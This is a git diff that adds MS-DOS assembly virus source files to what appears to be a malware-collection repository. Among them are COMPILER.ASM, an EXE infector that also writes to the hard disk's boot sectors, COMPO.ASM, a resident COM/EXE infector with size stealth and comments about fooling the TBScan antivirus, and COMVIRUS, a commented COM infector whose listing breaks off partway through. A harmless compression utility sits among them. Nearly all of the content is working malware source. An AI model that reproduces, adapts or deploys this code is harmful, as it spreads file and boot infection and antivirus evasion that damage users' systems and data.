0 +Source DW 0 + +; +; This will contain the relocator routine, located at the end of +; the ORIGINAL file. This will tranfer the 1st part of the program +; to it's original place. +; +Mover: + Mov DI,Offset Begin ;------------------ + Mov SI,Source ; Verplaatsen van het 1e deel + Mov CX,VirLen-1 ; van het programma, wat achter + Rep Movsb ;------------------ + Pop DI ; Opgeslagen registers weer + Pop SI ; terugzetten op originele + Pop SS ; waarde en springen naar + Pop ES ; het begin van het programma + Pop DS ; (waar nu het virus niet meer + Pop DX ; staat) + Pop CX ; + Pop BX ; + Pop AX ; + Popf ; + Mov BX,100h ; + Jmp BX ;------------------ + +; +; Only the end of the virus is stored in here. +; +Einde db 0 + +Code Ends +End Begin + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/c/COMPILER.ASM b/c/COMPILER.ASM new file mode 100755 index 0000000..e88044e --- /dev/null +++ b/c/COMPILER.ASM @@ -0,0 +1,312 @@ + + cut equ offset len-300h + virsize equ offset len-100h + memsize equ (virsize+20h)/16+1 + + xor di,di + mov ds,di + mov ss,di + mov sp,7BF0h + mov si,7C00h + push si + mov ax,3000h + mov es,ax + mov cx,201h + push cx + push cx + rep movsw + pop ax + push cx + mov cl,8 + mov bx,cut + mov dx,80h + int 13h + mov [1Ch*4],offset timer-100h + mov [1Ch*4+2],3000h + pop es + inc cx + pop ax + pop bx + db 0EAh + dw offset jump-100h + dw 3000h + + jump db 0CDh,013h,0EAh,00,07Ch,00,00 + + timer: push ax + push ds + xor ax,ax + mov ds,ax + cmp [84h],ax + jz tmexit + mov ax,[10h] ; int 04h + mov [70h],ax ; int 1Ch + mov ax,[12h] + mov [72h],ax + mov ax,[84h] + mov cs:old-100h,ax + mov ax,[86h] + mov cs:old+2-100h,ax + mov [84h],offset int21-100h + mov [86h],cs + mov ax,[2Fh*4] + mov cs:int2F-100h,ax + mov ax,[2Fh*4+2] + mov cs:int2F+2-100h,ax + tmexit: pop ds + pop ax + iret + + int21: cmp ax,4B00h + jne exit21 + push ax + push bx + push cx + push dx + push ds + push es + push si + push di + mov ah,52h + int 21h + xor si,si + xor di,di + mov ds,es:[bx-2] + mov bx,ds + mov ax,[di+3] + add [di+3],memsize + inc bx + add ax,bx + mov es,ax + push ax + mov ax,es:[di+3] + sub ax,memsize + push ax + mov ax,[di+3] + add ax,bx + mov ds,ax + mov byte ptr [di],5Ah + mov word ptr [di+1],di + pop [di+3] + pop es + push cs + pop ds + mov cx,virsize/2+1 + rep movsw + mov ds,cx + mov [84h],offset res21-100h + mov [86h],es + back: pop di + pop si + pop es + pop ds + pop dx + pop cx + pop bx + pop ax + exit21: db 0EAh + old dw ? + dw ? + + res21: push ax + push bx + push cx + push dx + push ds + push es + push si + push di + cmp ah,3Eh + je close + cmp ah,3Dh + jne back + + open: call driver + xchg ax,bx + jc out + call chexe + jne out + mov cs:len-100h,cx + out: mov ah,3Eh + call driver + jmp back + + close: call chexe + jne back + cmp cx,cs:len-100h + je back + cmp cx,5000 + jb back + push cx + push dx + push cs + pop es + push cs + pop ds + mov ah,3Fh + mov dx,offset buf-100h + mov cx,20h + call driver + mov si,offset buf+0Eh-100h + mov di,offset save-100h + movsw + movsw + lodsw + movsw + movsw + pop dx + pop ax + mov cl,16 + div cx + inc ax + push ax + push ax + mul cx + mov cx,ax + xchg cx,dx + mov ax,4200h + call driver + pop ax + sub ax,[si-10h] + mov [si-2],ax + mov [si-0Ah],ax + mov [si-8],500h + mov [si-4],offset go-100h + pop ax + xor dx,dx + mov cx,20h + push cx + div cx + inc ax + inc ax + mov [si-14h],ax + mov [si-16h],dx + mov ah,40h + mov cx,virsize + xor dx,dx + call driver + call chexe + mov ah,40h + pop cx + mov dx,offset buf-100h + call driver + jmp back + + go: mov bx,es + add bx,10h + add cs:save+6-100h,bx + add bx,cs:save-100h + push bx + push ds + push es + + call cell + test si,si + je exec + cmp word ptr [si+2],0A000h + jb exec + mov ah,2 + push cs + pop es + push cs + pop ds + mov bx,offset buf-100h + mov cl,1 + call doit + xor si,si + mov di,bx + mov cl,cut/2 + rep cmpsw + je exec + inc count-100h + mov ah,3 + mov cl,9 + call doit + xor si,si + mov di,bx + mov cl,cut/2+1 + rep movsw + mov ah,3 + inc cx + call doit + mov bx,cut + mov cl,8 + mov ah,3 + call doit + + exec: pop es + pop ds + pop ss + mov sp,cs:save+2-100h + jmp dword ptr cs:save+4-100h + + chexe: push bx + mov ax,1220h + call dosint + mov bl,es:[di] + mov ax,1216h + call dosint + pop bx + add di,15h + xor ax,ax + stosw + stosw + mov cx,es:[di-8] + mov dx,es:[di-6] + add di,0Fh + mov ax,'XE' + scasw + jne notexe + scasb + clc + notexe: ret + + cell: push ax + push bx + push cx + mov ah,30h + int 21h + xor si,si + xchg ah,al + cmp ax,401h + ja newdos + cmp ax,314h + jb newdos + cmp ax,31Eh + mov si,7B4h + jae newdos + mov si,10A5h + cmp al,10 + je newdos + mov si,1EC9h + newdos: mov ds,cx + pop cx + pop bx + pop ax + ret + + driver: pushf + call dword ptr cs:old-100h + ret + + doit: push ds + call cell + mov ch,0 + mov al,1 + mov dx,80h + pushf + call dword ptr [si] + pop ds + ret + + dosint: pushf + db 9Ah + int2F dw ? + dw ? + ret + + count dw 0 + save dw 4 dup (?) + len label word + buf label word + \ No newline at end of file diff --git a/c/COMPO.ASM b/c/COMPO.ASM new file mode 100755 index 0000000..d0ec551 --- /dev/null +++ b/c/COMPO.ASM @@ -0,0 +1,616 @@ +;% You-name-the-bitch % +; +.model tiny +.code + org 100h + +pagesize equ (((offset last) - (offset start)) shr 9) + 1 +parasize equ (((offset last) - (offset start)) shr 4) + 1 +bytesize equ (parasize shl 4) +lastpage equ bytesize - (pagesize shl 9) + + +start: + push ds + call install +entry: + jmp restore + +; Information about host program + +orgip dw 020CDh ; Entry point if .exe, +orgcs dw 0 ; if .com first 3 bytes of file. +com db 0FFh ; If .exe com=0 if .com com=FF + +install: + ; Check if already resident + mov ah, 30h ; Get dos version + mov bx, 1009 ; Installation check + int 21h + cmp bx, 9001 ; Is installed? + jne gores + mov bp, sp ; Get delta offset + mov bp, ss:[bp] + ret + +org21: + db 0EAh ; Buffer for original int21 +org21o dw ? +org21s dw ? + +gores: + pop bp + cmp al, 03h ; Check dos version + jb restore + + ; Try to allocate memory +memall: mov ah, 48h ; Allocate memory + mov bx, parasize+3 + int 21h + jnc gohigh + + ; Try to decrease host memory + push es ; Get MCB + mov bx, es + dec bx + mov es, bx + mov bx, es:[03h] ; Get size of memory + sub bx, parasize+4 ; Calculate needed memory + pop es + mov ah, 4Ah ; Decrease memory block + int 21h + jnc memall ; Allocate memory for virus + jmp restore + +gohigh: + ; Move virus to new memory + dec ax ; es to new mcb + mov es, ax + mov word ptr es:[1], 8 ; mark dos as owner + mov di, 10h ; Set es:di to new block + push cs ; Set ds:si to virus code + pop ds + mov si, bp + sub si, 4 ; Adjust for first call + mov cx, bytesize + cld + rep movsb + + ; Install in int21 vector + sub ax, 0Fh ; Adjust for org 100h + mov ds, ax + mov ax, 3521h ; Save int21 vector + int 21h + mov org21o, bx + mov org21s, es + mov ah, 25h ; Set int21 vector + mov dx, offset vector21 + int 21h + + +restore: + ; Restore original program + pop es + push es + cmp byte ptr cs:bp[6], 00h ; Check file type + je restexe + + ; Restore .com program + push es + pop ds + mov di, 100h + push di + mov ax, cs:bp[2] + stosw + mov al, cs:bp[4] + stosb + retf + +restexe: + ; Restore .exe program + pop ax + mov ds, ax + add ax, cs:bp[4] ; relocate cs + add ax, 10h + push ax + mov ax, cs:bp[2] ; get ip + push ax + retf ; Jump to host + + + +vector21: + cmp ah, 30h ; Get dos version? + jne chkexe + cmp bx, 1009 ; Installation check? + jne chkexe + call dos + mov bx, 9001 ; Return residency code + retf 2 +chkexe: + cmp ax, 4B00h ; Load and execute? + jne chkfcb + call infect ; Infect file + jmp chnexit +chkfcb: + cmp ah, 11h ; Find file? + je fcb + cmp ah, 12h ; Find file? + je fcb + + cmp ah, 4Eh ; Find handle? + je fhdl + cmp ah, 4Fh ; Find handle? + jne chnexit +fhdl: call dos + jnc fhdls + retf 2 +fhdls: jmp findhandle + +chnexit: + jmp org21 + + +fcb: +; Called on find first/find next fcb + ; Perform dos call + + call dos + or al, al ; Check if a file was found + jz exist + retf 2 +exist: + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + mov ax, 6200h ; Get psp + call dos + mov es, bx + cmp bx, es:[16h] ; Ensure that dos is calling + jne fcbexit + + call getdta ; Get address of fcb + lodsb ; Check if extended + cmp al, 0FFh + jne noext + add si, 7 +noext: + mov bx, si + add si, 8 ; Check extension + lodsw + push ax + + add si, 0Ch ; Check for infection + lodsb + and al, 1Fh + cmp al, 03h + pop ax + pushf + add si, 5 + + cmp ax, 'OC' + je fcbcom + cmp ax, 'XE' + je fcbexe + popf + jmp fcbexit + +fcbcom: + ; Check for infection + popf + jne fcbcomni + sub word ptr [si], bytesize + jmp fcbexit +fcbcomni: + in al, 41h ; Get timer (rnd) + test al, 03h ; 25% infection + jne fcbexit + call cvtasciz ; Convert to asciz + mov ax, 'C.' ; Append exetnsion + stosw + mov ax, 'MO' + stosw + jmp fcbinfect + +fcbexe: + ; Check for infection + popf + jne fcbexeni + sub word ptr [si], bytesize + jmp fcbexit +fcbexeni: + in al, 41h ; Get timer (rnd) + test al, 03h ; 25% infection + jne fcbexit + call cvtasciz + mov ax, 'E.' + stosw + mov ax, 'EX' + stosw + +fcbinfect: + xor al, al + stosb + mov dx, offset last + push cs + pop ds + call infect + +fcbexit: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + retf 2 + + +cvtasciz proc + push cs ; Convert to asciz + pop es + mov si, bx + mov di, offset last + mov cx, 8 +loop3: lodsb + cmp al, ' ' + je loopx + stosb + loop loop3 +loopx: ret +cvtasciz endp + + +infect proc +; Called on load and execute + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + mov ax, 3D82h ; Open victim + call dos + jc exitinfect + xchg ax, bx + + mov ax, 5700h ; Save file date/time + call dos + push dx + push cx + + mov ah, 3Fh ; Read first bytes + push cs + pop ds + lea dx, orgip + mov cx, 2 + call dos + xor orgip, 4523h ; Check if .exe file + cmp orgip, 'MZ' xor 4523h ; TBScan fooled again... + je infectexe + cmp orgip, 'ZM' xor 4523h + je infectexe + xor orgip, 4523h + jmp infectcom + +infectdone: + pop cx ; Restore date/time of file + pop dx + mov ax, 5701h + call dos + + mov ah, 3Eh ; Close file + call dos +exitinfect: + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + ret +infect endp + +infectexe: + ; Read header from .exe file + mov ah, 3Fh + lea dx, last ; Use memory above virus + mov cx, 16h + call dos + + ; Calculate address of entrypoint + mov ax, word ptr last[entryseg] ; Get entry cs value + add ax, word ptr last[headsize] ; Get header size + mov cx, 10h ; Convert to bytes + mul cx + add ax, word ptr last[entryofs] ; add ip offset + adc dx, 00 + + ; Seek to entrypoint + mov cx, dx + xchg dx, ax + mov ax, 4200h + call dos + + ; Check if already infected + mov ah, 3Fh ; Read bytes at entry + mov cx, 4h + lea dx, orgip + mov si, dx + call dos + + lodsw ; Compare entry to virus + cmp ax, word ptr start + jne exenotinf + lodsw + cmp ax, word ptr start[2] + je infectdone + + +exenotinf: + ; Mark infection + pop ax ; Get time stamp + and al, 0E0h ; Mask seconds + or al, 003h ; Set seconds to 6 + push ax + + ; Infect file + lea si, last[entryofs] ; Save program information + lodsw + mov orgip, ax + lodsw + mov orgcs, ax + mov cs:com, 0 ; This is .exe + + ; Calculate virus entry + mov ax, 4202h ; Seek to eof + xor cx, cx + cwd + call dos + + xchg ax, dx ; eof pos in ax:dx + mov cl, 12 + shl ax, cl + mov word ptr last[entryseg], ax + xchg ax, dx + xor dx, dx + mov cx, 10h ; Convert eof pos to paras + div cx + sub ax, word ptr last[headsize] ; Calculate entry for virus + add word ptr last[entryseg], ax ; Save in header + mov word ptr last[entryofs], dx + + ; Recalculate size + mov ax, word ptr last[lastsize] + add ax, bytesize + cwd + mov cx, 200h + div cx + mov word ptr last[lastsize], dx + add word ptr last[pages], ax + + + mov ah, 3Fh ; Append virus + mov dx, 100h + mov cx, bytesize + inc ah ; TB-Moron(tm) + push ax + call dos + + ; Save modified exe-header + mov ax, 4200h ; Seek to header + xor cx, cx + mov dx, 2 + call dos + + pop ax + lea dx, last ; Write header + mov cx, 16h + call dos + + jmp infectdone + + +infectcom: + ; Installation check + call ichkcom + jnc comnotinf + jmp infectdone + +comnotinf: + + ; Mark infection + pop ax ; Get time stamp + and al, 0E0h ; Mask seconds + or al, 003h ; Set seconds to 6 + push ax + + mov com, 0FFh + + ; Seek to eof + mov ax, 4202h + xor cx, cx + cwd + call dos + + ; Create jump opcode + sub ax, 3 + mov word ptr last, ax + + ; Append virus + mov ah, 3Fh + mov cx, bytesize + mov dx, 100h + inc ah ; TB... + push ax + call dos + + ; Write jump to beginning of file + mov ax, 4200h + xor cx, cx + cwd + call dos + pop ax ; TB... + mov cx, 3 + lea dx, jumpop + call dos + + jmp infectdone + + + +findhandle: + pushf + push ax + push bx + push cx + push si + push di + push ds + push es + + call getdta ; dta to es:si and ds:si + mov di, si + + mov al, si[16h] ; Get seconds + and al, 1Fh + cmp al, 3 + pushf + + add di, 1Eh ; di to name + mov cx, 9 + mov al, '.' + repne scasb ; scan for extension + xchg si, di + lodsw + cmp ax, 'OC' ; check if com? + je hdlcom + cmp ax, 'XE' + je hdlexe + popf + jmp hdlexit + +hdlcom: +hdlexe: + popf + jne hdlexit + sub word ptr di[1Ah], bytesize + sbb word ptr di[1Ch], 0 + +hdlexit: + pop es + pop ds + pop di + pop si + pop cx + pop bx + pop ax + popf + retf 2 + + + + + + +ichkcom proc +; Checks if com-file with handle in bx is infected + + mov ax, 4200h ; Seek to beginning + xor cx, cx + cwd + call dos + + push ds + + mov ah, 3Fh ; Read first bytes + mov cl, 3 + mov dx, offset orgip + call dos + + cmp byte ptr orgip, 0E9h ; Check if jump + jne icnotinf + + mov ax, 4201h ; Seek to entry point + xor cx, cx + mov dx, word ptr orgip[1] + call dos + + mov cl, 4 + call readtolast ; Get entry point + cmp word ptr last, 0E81Eh + jne icnotinf + cmp word ptr last[2], 00007h + jne icnotinf + + pop ds + stc ; Return with carry + ret +icnotinf: + pop ds + clc ; Not infected + ret +ichkcom endp + + + +dos proc + pushf + call dword ptr cs:org21o + ret +dos endp + + +getdta proc + mov ah, 2Fh ; Get dta + call dos + push es ; ds:si to dta + pop ds + mov si, bx + ret +getdta endp + + +readtolast proc + mov ah, 3Fh + push cs + pop ds + mov dx, offset last + call dos + ret +readtolast endp + + + +jumpop db 0E9h +last: + +exehead struc + lastsize dw ? + pages dw ? + tblesize dw ? + headsize dw ? + minalloc dw ? + maxalloc dw ? + stackseg dw ? + stackofs dw ? + checksum dw ? + entryofs dw ? + entryseg dw ? +exehead ends + +end start +================================================================================ diff --git a/c/COMPRES.ASM b/c/COMPRES.ASM new file mode 100755 index 0000000..e622cf4 --- /dev/null +++ b/c/COMPRES.ASM @@ -0,0 +1,224 @@ +code segment + assume cs:code, ds:code, es:code + org 100h +prog: + jmp main + +tbl dw 256 dup (0) +asc db 256 dup (0) +cod db 256 dup (0) +len db 256 dup (0) +dat db 0,10,16,9,64,8,64,8,0,7 +fn1 db 'afd.com',0 +fn2 db 'sup.com',0 +fn3 db 'e1.com',0 + +main: + + call read + call build + call uha + call good + call write + + mov al,00h + mov ah,4ch + int 21h + +good proc near + mov ax,cs + mov ds,ax + mov si,offset asc + mov di,152 + mov cx,256 + rep movsb + + mov dx,offset fn3 + mov al,00h + mov ah,3dh + int 21h + jc ssr + mov bx,ax + mov ax,es + mov ds,ax + sub dx,dx + mov cx,152 + mov ah,3fh + int 21h + jc ssr + mov ah,3eh + int 21h + mov ax,cs + mov ds,ax +ssr: ret +good endp + +uha proc near + mov ax,cs + add ax,1000h + mov ds,ax + add ax,1000h + mov es,ax + mov bx,4fffh + mov di,bx + mov ch,0 + sub bp,bp +lu10: sub ax,ax + mov al,[bx] + mov si,ax + mov al,cs:cod[si] + mov dl,cs:len[si] + mov cl,dl + cmp dl,7 + jne lu20 + inc ah +lu20: sub cl,ch + shl ax,cl + or bp,ax + add ch,16 + sub ch,dl + mov cl,8 +lu30: cmp ch,cl + jc lu40 + mov ax,bp + shl bp,cl + mov es:[di],ah + dec di + sub ch,cl + jmp short lu30 +lu40: dec bx + cmp bx,0ffffh + jne lu10 + mov ax,bp + mov es:[di],ah + ret +uha endp + +fill proc near + sub si,si + mov cx,0100h +lf10: mov ax,si + mov cs:asc[si],al + inc si + loop lf10 + sub bx,bx + mov cx,5000h +lf20: mov al,[bx] + mov si,ax + shl si,1 + inc cs:tbl[si] + inc bx + loop lf20 + ret +fill endp + +pause proc near + push ax + mov ah,01h + int 21h + pop ax + ret +pause endp + +sort proc near + mov cx,00ffh +l10: mov di,cx + mov bx,cx + shl bx,1 + add bx,offset tbl + sub ax,ax +l20: mov si,ax + shl si,1 + mov dx,tbl[si] + cmp dx,[bx] + jnc l30 + xchg dx,[bx] + xchg dx,tbl[si] + shr si,1 + mov dl,asc[si] + xchg dl,asc[di] + xchg dl,asc[si] +l30: inc ax + cmp ax,cx + jc l20 + loop l10 + ret +sort endp + +make proc near + mov cx,16 + mov bx,offset dat + sub si,si + sub ax,ax +lm10: mov al,asc[si] + mov di,ax + mov dx,si + add dl,[bx] + mov cod[di],dl + mov dl,[bx+1] + mov len[di],dl + inc si + cmp si,cx + jnz lm10 + inc bx + inc bx + shl cx,1 + cmp cx,512 + jnz lm10 + ret +make endp + +build proc near + call fill + mov ax,cs + mov ds,ax + call sort + call make + ret +build endp + +write proc near + mov dx,offset fn2 + mov al,02h + mov ah,3dh + int 21h + jc sw + mov bx,ax + mov ax,es + mov ds,ax + sub dx,dx + mov cx,5000h + mov ah,40h + int 21h + jc sw + mov ah,3eh + int 21h +sw: ret +write endp + +read proc near + mov dx,offset fn1 + mov al,00h + mov ah,3dh + int 21h + jc sr + mov bx,ax + mov ax,ds + add ax,1000h + mov ds,ax + sub dx,dx + mov cx,5000h + mov ah,3fh + int 21h + jc sr + mov ah,3eh + int 21h +sr: ret +read endp + + +last label byte +code ends + end prog + + \ No newline at end of file diff --git a/c/COMVIRUS (49).ASM b/c/COMVIRUS (49).ASM new file mode 100755 index 0000000..e50cc16 --- /dev/null +++ b/c/COMVIRUS (49).ASM @@ -0,0 +1,458 @@ +title COMVIRUS +subttl By Drew Eckhardt +subttl Latest revision: 4-28-1991 + +;The author of this virus intends it to be used for educational +;purposes only, and assumes no responsibilities for its release, +;dammages resulting from its use, including but not limited to +;equipment dammage or data loss. + +;By assembling or examining this program, The user agrees to accept all +;responsibility for this programs use, or any portions of the code +;or concepts contained within. The user also agrees to not publicly release +;this virus, and to exercise necessary precautions to prevent its escape. +;The user accepts all responsibility arising from his actions. + +;Don't come crying to me if your hard disk gets infected, +;as THERE IS NO ANTIDOTE. HAHAHAH. + + +;Revision history: +;4-13: initial bug-free release, size=424 bytes with carrier + +;4-15: added no date change support, size=438 bytes with carrier + +;4-16: minor documentation changes, size=438 bytes with carrier, +; NO CODE CHANGE from 4-15 revision + +;4-21: fixed missing hex h suffixs, made MASM friendly, +; fixed incorrect assume statement (assume statements are ignored +; by A86) enabled hard/floppy infection based on floppy_only status +; size=438 bytes IF floppy_only, 424 bytes if not, with carrier. +; minimum virus length = 419 bytes + +;4-23: added control over how many programs are infected per run, +; switched method of infection, from copying to DTA then writing +; to disk to straight write to disk from memory. +; size=412 bytes IF floppy_only, 398 bytes if not, with carrier. +; minimum virus length = 393 bytes + +;4-28: used set DTA instead of default DTA/copy command line +; buffer, which had been used based on incorrect assumption +; eliminated calls to get time/date, get attribs +; by using information from find first/find next functions 4eh/4fh +; made warning optional for reduced space if desired. Also +; changed mov reg16, bp add reg16, constant to shorter LEA instruction. +; size=354 bytes IF floppy_only, warning on W/carrier +; 340 bytes IF w/warning & carrier program +; 286 bytes w/o warning, in program +; minimum virus length = 281 bytes for virus itself + +;4-28pm: instead of near CALL-pop sequences everywhere, switched to +; a single CALL near ptr Reference_Point, putting the result into +; si now that (until the end) string mode addressing is not used. +; Changed places where a register (used as an index) +; was being loaded THEN added to a single LEA isntruction +; size = 340 bytes if floppy_only, warning on w/carrier +; size = 326 bytes if w/warning & carrier +; size = 272 w/o warning +; minimum virus length = 267 bytes for the virus itself + +;4-28pm2: Eliminated unecessary flush buffers call. +; size = 336 bytes if floppy_only w/carrier +; size = 322 bytes w/warning & carrier +; size = 268 w/o warning +; minimum virus length = 263 bytes for virus itself + +;4-30: restored 5 bytes of original code at CS:0100 +; before infecting other programs, allowing the +; original code field to be modified so one disk write could be +; used instead of two +; minor documentation revisions - corrected incorrect +; opcodes in documentation +; size = 326 bytes if floppy_only w/carrier +; size = 312 bytes w/warning & carrier program +; size = 258 bytes w/carrier program +; Minimum virus length = 253 bytes for the virus itself + +;NOTE: The program is currently "set up" for A86 assembly with all +;conditional assembly symbols. #IF and #ENDIF should be replaced with +;MASM IFDEF and ENDIF directives for propper operation. +;Also, instead of using EQUates to define control symbols, the /D +;option or DEFINE could be used..... + + +;COMVIRUS.ASM must be assembled into a .COM file inorder to function +;properly. For convieniece, I recommend an assembler like A86 that will +;assemble to a .COM file without having to go through LINK and EXE2BIN + +;As is, it will infect .COM files located on the current disk. +;ONLY if it is a floppy disk, ONLY in the root directory. + +;This is a .COM infector virus, which, does nothing other than print a +;warning message, and spread to all files on the default disk IFF it is +;a floppy disk, in the root directory. + +;Theory: +;This is a non - overwriting virus. I took special precautions to preserve +;all functionality of the original program, including command line, parsed FCB, +;and segment register preservation. This makes the virus harder to detect. + +;The .COM file is a memory image - with no relocation table. Thus, it +;is an easy target for a virus such as this. + +;Infected file format +;jmp near ptr xxxx +;cli cli ;ID bytes +;ORIGINAL program code, sans 5 bytes +;5 bytes ORIGINAL program code +;VIRUS + +;This format makes infection VERY simple. We merely check for our signature +;(in this case cli cli (fa fa) - instructions that no programmer in his +;right mind would use - loading the original five bytes in the process. +;These original bytes are written to the end of the program, then +;A jump to where the virus is. + +;While infection is easy, this method presents some coding problems, as the +;virus does not know where in memory it is. Therefor, When we want to access +;data, we FIND OUT where we are, by performing a near call which PUSHES ip to the +;stack which is then popped. Addresses are then calculated relative to this +;via LEA + +;To run the program as normal, command line is restored, registers restored, +;And original code copied onto the first five bytes of the program. + + +;Program control symbols defined here +floppy_only equ 1 +infect_per_run equ 1 ;number of programs infected per run +warn_user equ 1 + +_TEXT segment byte 'CODE' + assume cs:_TEXT,ds:_TEXT,es:_TEXT,ss:_TEXT + org 100h + +Start: jmp infect; + +;This is our signature + cli + cli + +;Original code is the data field where we store the original program code +;which will replace our signature and jmp to infect + +Original_Code: int 20h ;five bytes that simply terminate + nop ;the program + nop + nop + + + +;Data for the virus. In a destructive virus, you would want to encrypt +;any strings using a simple one's complement (not) operation so as to +;thwart detection via text search utilities. Since we want detection to +;be easy, this un-encrypted form is fine. + + +Start_Virus: +#IF warn_user + Warning db "This file infected with COMVIRUS 1.0",10,13,'$' +#ENDIF + +;VirusMask is simply an ASCIIZ terminated string of the files we wish to +;infect. + + VirusMask db '*.COM', 0 +Infect: + push ax ;on entry to a .COM program, STACK: + ;MS-DOS puts drive identifiers ax (drive id for FCB's) <-- sp + ;for the two FCB's in here. Save + ;'em + + ;I use special trickery to find location of data. Since + ;NEAR calls/jmps are RELATIVE, call near ptr find_warn is + ;translated to e8 0000 - which will simply place the location + ;of Reference onto the stack. Our data can be found relative to + ;this point. + + call near ptr Reference ;All data is reference realative to + ;Reference + + +Reference: pop bx ;which is placed into bx for LEA + ;instructions + ;bx now contains the REAL address of + ;Reference + ;si points to real address of original + ;code field + lea si, [bx-(offset Reference - offset Original_Code)] + mov di, 0100h ;original code is at 100h + mov cx, 5 ;5 bytes + cld ;from start of buffer + rep movsb ;do it + + mov si, bx ;since BX is used in handle + ;based DOS calls, for the remainder + ;of the virus, si will contain the + ;actual address of reference + +#IF warn_user + + ;Always calculate the address of data relative to known Reference + ;Point + lea dx, [si-(offset Reference - offset Warning)] + mov ah,9h ;DO dos call, DS:DX pointing + int 21h ;to $ terminated string + + ;We want to make sure that the user gets the message + +WaitForKey: + mov ah, 0bh ;we will wait for a keypress + int 21h ;signifying the user has + or al, al ;seen the message. + jz WaitForKey + +#ENDIF + +#IF FLOPPY_ONLY + + ;Since this is a simple demonstration virus, we will only infect + ;.COM files on the default drive IFF it is a floppy disk.... + ;So, we will get information about the disk drive. + + + push ds ;ds:bx returns a byte to + ;media descriptor + + mov ah, 1bh ;get disk information STACK + int 21h ;DOIT ax (drive ID's) + cmp byte ptr ds:[bx], 0f8h ;see if its a hard disk ds <--sp + + pop ds ;restore ds STACK + jne Floppy ;if it was hard.... ax <--sp + jmp near ptr done ;we're nice guys and are done + +Floppy: ;Since it was floppy, we can go on with the infection! +#ENDIF + ;The default DTA, as is will give us problems. The designers of + ;MickeySoft DOS decided to put default DTA at ofset 128 in + ;the PSP. PROBLEM: This is also where the user's precious command + ;line is, and we MUST remain undectected. SO.... we allocate a + ;DTA buffer on the stack. 43 bytes are needed, 44 will do. + + sub sp, 44 ;allocate space for findfirst/findnext DTA + mov bp, sp ;set up bp as a reference to this area + + ;Set the DTA + mov dx, bp ;point DS:DX to our area + mov ah, 1ah ;set DTA + int 21h + + ;Set up pointers to data in DTA + dta equ word ptr [bp] + file_name equ word ptr [bp+1eh] + attributes equ byte ptr [bp+15h] + time_stamp equ word ptr [bp+16h] + date_stamp equ word ptr [bp+18h] + file_size equ dword ptr [bp+1ah] + + ;We dynamically allocate a variable to store the number of programs STACK + ;The virus has infected. FCB drives + ; bp--> 44 byte DTA + infected_count equ byte ptr[bp-2]; Infected_Count + xor ax, ax ;zero variable, sp--> buffer (6 bytes) + push ax ;allocate it on the stack + sub sp, 6 ;allocate small buffer + + ;Now, we begin looking for files to infect. + lea dx, [si - (offset Reference - offset VirusMask)] + ;DS:DX points to the search string STACK + mov ah, 4eh ;find first matching directory entry FCB drives (word) + mov cx, 111b ;only default directory, FILES + ;hidden, system and normal + int 21h ;doit bp--> 44 byte DTA buffer + ; infected count (word) + jnc Research ;carry is clear when a file was sp--> 6 byte buffer + jmp nofile ;found. + + +ReSearch: +;All handle based DOS calls take a pointer to an ASCIIZ file name in ds:dx + lea dx, file_name + +;Since this is a virus, we want to infect files that can't be touched by +;DOS commands, this means readonly, system, and hidden files are at our +;mercy. To do this, we rely on the findfrst/next attributes and other data +;to restore the attribute byte to the original settings. get/SET can fix +;them to be suitable + mov cl, attributes + and cl, 11100000b ;not readonly, system, or hidden STACK + ; FCB drives + mov ax, 4301h ;set attributes bp--> buffer (44 bytes) + int 21h ; buffer (6 bytes) + ; sp--> infected_count + jnc NoError ;check for error + jmp Restore_Flags +NoError: + mov ax, 3d02h ;now, open file using handle, + ;read/write access + int 21h ; + jnc NoError2 ;IF there was an error, we are done + jmp Restore_Flags ;But we don't need to commit or close + +NoError2: + mov bx, ax ;The handle was returned in ACC. + ;Howwever, all handle based DOS + ;calls expect it in BX + + +;We don't want to infect the program more than once, so we will +;check to see if it is infected. + + + mov ax, 4200h ;seek relative to start of file + ; bx contains handle from open operation + xor cx,cx ;cx:dx is file pointer + xor dx, dx ; + int 21h ;DOIT + +;Now, we will read in enough data to see if we have our virus signature. + mov ah, 3fh ;read data + lea dx, [si-(offset reference-offset original_code)] + ;into original_code buffer + mov cx, 5 ;5h bytes + ; bx contains handle from last operation + int 21h + + cmp word ptr [si-(offset reference-offset original_code)+3], 0fafah + jne GoApe ;if we aren't already infected, + jmp Error ;go for it + +GoApe: +;Since it is safe to infect, we will + mov ax, 4202h ;seek end of file + xor cx, cx + xor dx, dx + int 21h + + or dx, dx ;check for valid .COM format + jz Less_Than_64K + jmp Error + +Less_Than_64K: + +;Now, we must calculate WHERE the jump will be to. Let's examine the program +;Structure: +;jmp near ptr xxxx +;Cli Cli }These add up to the original length +;Orignal code sans 5 bytes + +;Original_Code (5 bytes) }The length of all virus data +;Other virus data is equal to the difference in +;Infect the addresses of Infect and Original_Code + +;End_Virus + + +;Thus, the jump must jump TO (offset Infect- offset Original_Code + Original_Length + origin) +;However, in the 80x86, NEAR jumps are calculated as an offset from the position +;of the next statement to execute (because of fetch/execute cycle operation). + +;Since jmp near ptr xxxx takes 3 bytes, the next instruction is THREE bytes from +;The 0E9h jmp near instruction, so xxxx will be (offset Infect-Offset Original_Code +;+Original_Length-3); + + ;Since AX already contains the original length, we will merely add + ;Space for the virus data, and take care of the three bytes + ;of code generated by the jmp near instruction. + + add ax, (offset Infect - Offset Original_Code -3) + + ;calculate jump address + mov byte ptr [bp-8], 0e9h ;jmp near instruction + mov word ptr [bp-7], ax ;offset for near jmp + mov word ptr [bp-5], 0fafah ;cli cli + + mov ax, 4200h ;seek begining of file + xor cx, cx + mov dx, cx + int 21h + + mov ah, 40h ;write patched code + mov cx, 5 ;5 bytes of code + lea dx, [bp-8] ;our buffer + int 21h + + mov ax, 4202h ;seek EOF + xor cx, cx + xor dx, dx + int 21h + + + lea dx, [si - (offset Reference - offset Original_Code)]; set start + mov cx, (offset End_Virus - offset Original_Code) ;set length + mov ah, 40h ;append virus to file + int 21h ;doit + + inc infected_Count ;bump up the number of programs infected + +Error: mov dx,date_stamp ;restore date + mov cx,time_stamp ;restore time + mov ax, 5701h ;set them + int 21h + + mov ah, 3eh ;close file + int 21h + +Restore_Flags: + xor ch, ch ;zero hi byte flags + mov cl,attributes ;restore flags + lea dx, file_name ;ds:dx points to ASCIIZ string + ;in the buffer, offset 1eh contains + ;the file name + mov ax, 4301h ;get/SET flags + int 21h 